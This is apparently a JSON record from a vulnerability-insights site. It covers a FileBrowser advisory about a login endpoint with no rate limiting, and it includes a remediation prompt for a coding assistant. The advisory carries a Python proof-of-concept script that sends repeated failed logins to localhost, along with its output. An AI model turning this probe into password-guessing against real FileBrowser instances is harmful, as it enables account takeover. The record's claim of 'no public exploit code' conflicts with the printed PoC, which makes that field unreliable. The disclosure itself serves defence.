{"answers":{"affected":"3 open source packages ship an affected version, including github.com/gtsteffaniak/filebrowser.","exploited":"There is no known exploitation of GHSA-r4v7-6wcg-ghj5 in the wild and no public exploit code.","fix":"Upgrade github.com/gtsteffaniak/filebrowser to 0.0.0-20260522161427-fa5abc8c67f3a or later.","what":"GHSA-r4v7-6wcg-ghj5 is a missing authorization vulnerability in github.com/gtsteffaniak/filebrowser, published on 25 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-r4v7-6wcg-ghj5 and fix it if it is affected.\n\nWhat it is: GHSA-r4v7-6wcg-ghj5 is a missing authorization vulnerability in github.com/gtsteffaniak/filebrowser, published on 25 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-r4v7-6wcg-ghj5 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/gtsteffaniak/filebrowser (Go): affected all versions; no fix listed\n- github.com/gtsteffaniak/filebrowser (Go): affected all versions; fixed in 0.0.0-20260522161427-fa5abc8c67f3a\n- github.com/gtsteffaniak/filebrowser (Go): affected all versions; fixed in 0.0.0-20260522161427-fa5abc8c67f3a\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-r4v7-6wcg-ghj5/ (Markdown: https://insights.sbomify.com/GHSA-r4v7-6wcg-ghj5/index.md)","id":"GHSA-r4v7-6wcg-ghj5","markdown":"https://insights.sbomify.com/GHSA-r4v7-6wcg-ghj5/index.md","name":"GHSA-r4v7-6wcg-ghj5","record":{"aliases":["GO-2026-5776"],"analysis":{"component_type":"web_application","fix_type":"no_fix_stated","impacts":["account_takeover"],"network_reachable":"yes","non_default_config":false,"product_category":"FileBrowser web app","requires_auth":"none","summary":"Attackers can brute-force user accounts via the login endpoint due to missing rate limiting, potentially leading to unauthorized access.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nThe `/api/auth/login` endpoint does not implement rate limiting, account lockout, or progressive backoff for repeated authentication failures. As a result, an attacker can perform unlimited login attempts against the endpoint. When combined with the username enumeration timing vulnerability, valid accounts can be identified and then brute-forced without restriction. The risk is further increased by a weak default password policy that only enforces a minimum length of five characters.\n\n### Details\nThe authentication endpoint `/api/auth/login` does not enforce any form of rate limiting, account lockout, or progressive backoff for repeated failed login attempts. Testing confirmed that the endpoint accepts an unlimited number of authentication attempts from the same client without delay or restriction.\n\nThis allows attackers to repeatedly attempt password guesses against valid usernames.\n\nSecure authentication systems typically enforce request throttling, temporary account lockout, or progressive delays after repeated failed login attempts to mitigate brute-force attacks.\n```\n$ python rate-limit-probe.py\n[*] Probing http://localhost/api/auth/login for rate limiting, lockout, and backoff behavior...\n    Attempt  10: status=401, latency=0.0411s\n    Attempt  20: status=401, latency=0.0411s\n    Attempt  30: status=401, latency=0.0402s\n    Attempt  40: status=401, latency=0.0420s\n    Attempt  50: status=401, latency=0.0403s\n    Attempt  60: status=401, latency=0.0423s\n    Attempt  70: status=401, latency=0.0474s\n    Attempt  80: status=401, latency=0.0417s\n    Attempt  90: status=401, latency=0.0407s\n    Attempt 100: status=401, latency=0.0407s\n\n--- CONCRETE EVIDENCE ---\nAttempts completed:        100\nTotal runtime:             4.17s\nAverage request rate:      23.98 req/sec\nUnique status codes:       [401]\nAverage time (first 5):    0.0447s\nAverage time (last 5):     0.0408s\nLatency delta:             -0.0038s\n[RESULT] No HTTP 429 responses observed.\n[RESULT] No progressive backoff detected: response timing remained effectively constant.\n```\n#### Additional Context\nPassword validation is implemented in `backend/database/storage/bolt/user.go` via `checkPassword()`, which only verifies that the supplied password length is greater than or equal to settings.Config.Auth.Methods.PasswordAuth.MinLength. In `backend/common/settings/auth.go`, the PasswordAuthConfig documents the default value of MinLength as 5. No additional complexity requirements, such as uppercase, lowercase, numeric, or special character checks, were identified in this code path.\n\n### PoC\nThe script below demonstrates the lack of rate limiting by performing a high volume automated authentication test.  The script sends sequential login requests and monitors for HTTP 429 (Too Many Requests) status codes. \n\n```\nimport requests\nimport time\nimport statistics\n\nURL = \"http://localhost/api/auth/login\"\nUSERNAME = \"admin\"\nPASSWORD = \"wrong-password\"\nMAX_ATTEMPTS = 100\nTIMEOUT = 10\n\nlatencies = []\nstatuses = []\n\nprint(f\"[*] Probing {URL} for rate limiting, lockout, and backoff behavior...\")\n\nstart_total = time.time()\n\nfor i in range(1, MAX_ATTEMPTS + 1):\n    start = time.perf_counter()\n\n    resp = requests.post(\n        URL,\n        params={\"username\": USERNAME, \"recaptcha\": \"\"},\n        headers={\"X-Password\": PASSWORD},\n        timeout=TIMEOUT\n    )\n\n    duration = time.perf_counter() - start\n    latencies.append(duration)\n    statuses.append(resp.status_code)\n\n    if resp.status_code == 429:\n        print(f\"[!] Rate limit detected at attempt {i} (HTTP 429)\")\n        break\n\n    if i % 10 == 0:\n        print(f\"    Attempt {i:3}: status={resp.status_code}, latency={duration:.4f}s\")\n\nend_total = time.time()\nattempts_completed = len(latencies)\n\nprint(\"\\n--- CONCRETE EVIDENCE ---\")\n\nfirst_five_avg = statistics.mean(latencies[:5]) if attempts_completed \u003e= 5 else statistics.mean(latencies)\nlast_five_avg = statistics.mean(latencies[-5:]) if attempts_completed \u003e= 5 else statistics.mean(latencies)\nlatency_delta = last_five_avg - first_five_avg\n\nprint(f\"Attempts completed:        {attempts_completed}\")\nprint(f\"Total runtime:             {end_total - start_total:.2f}s\")\nprint(f\"Average request rate:      {attempts_completed / (end_total - start_total):.2f} req/sec\")\nprint(f\"Unique status codes:       {sorted(set(statuses))}\")\nprint(f\"Average time (first 5):    {first_five_avg:.4f}s\")\nprint(f\"Average time (last 5):     {last_five_avg:.4f}s\")\nprint(f\"Latency delta:             {latency_delta:+.4f}s\")\n\nif 429 not in statuses:\n    print(\"[RESULT] No HTTP 429 responses observed.\")\n\nif abs(latency_delta) \u003c 0.05:\n    print(\"[RESULT] No progressive backoff detected: response timing remained effectively constant.\")\nelse:\n    print(\"[RESULT] Latency variation detected: investigate possible throttling or environmental noise.\")\n```                                  \n\n### Impact\nAn attacker can perform unlimited authentication attempts against valid usernames. When combined with the username enumeration timing vulnerability, this enables targeted brute-force attacks against user accounts and increases the likelihood of credential compromise.\n\nPlease let me know if you need any additional information or clarification.\nI'm happy to assist with testing or validating a fix.","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"FileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks","id":"GHSA-r4v7-6wcg-ghj5","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/gtsteffaniak/filebrowser","purl":"pkg:golang/github.com/gtsteffaniak/filebrowser","source":"GO-2026-5776"},{"ecosystem":"Go","fixed":["0.0.0-20260522161427-fa5abc8c67f3a"],"introduced":["0"],"last_affected":[],"package":"github.com/gtsteffaniak/filebrowser","purl":null,"source":"GHSA-r4v7-6wcg-ghj5"},{"ecosystem":"Go","fixed":["0.0.0-20260522161427-fa5abc8c67f3a"],"introduced":["0"],"last_affected":[],"package":"github.com/gtsteffaniak/filebrowser","purl":"pkg:golang/github.com/gtsteffaniak/filebrowser","source":"GHSA-r4v7-6wcg-ghj5"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can brute-force user accounts via the login endpoint due to missing rate limiting, potentially leading to unauthorized access.","url":"https://insights.sbomify.com/GHSA-r4v7-6wcg-ghj5/"}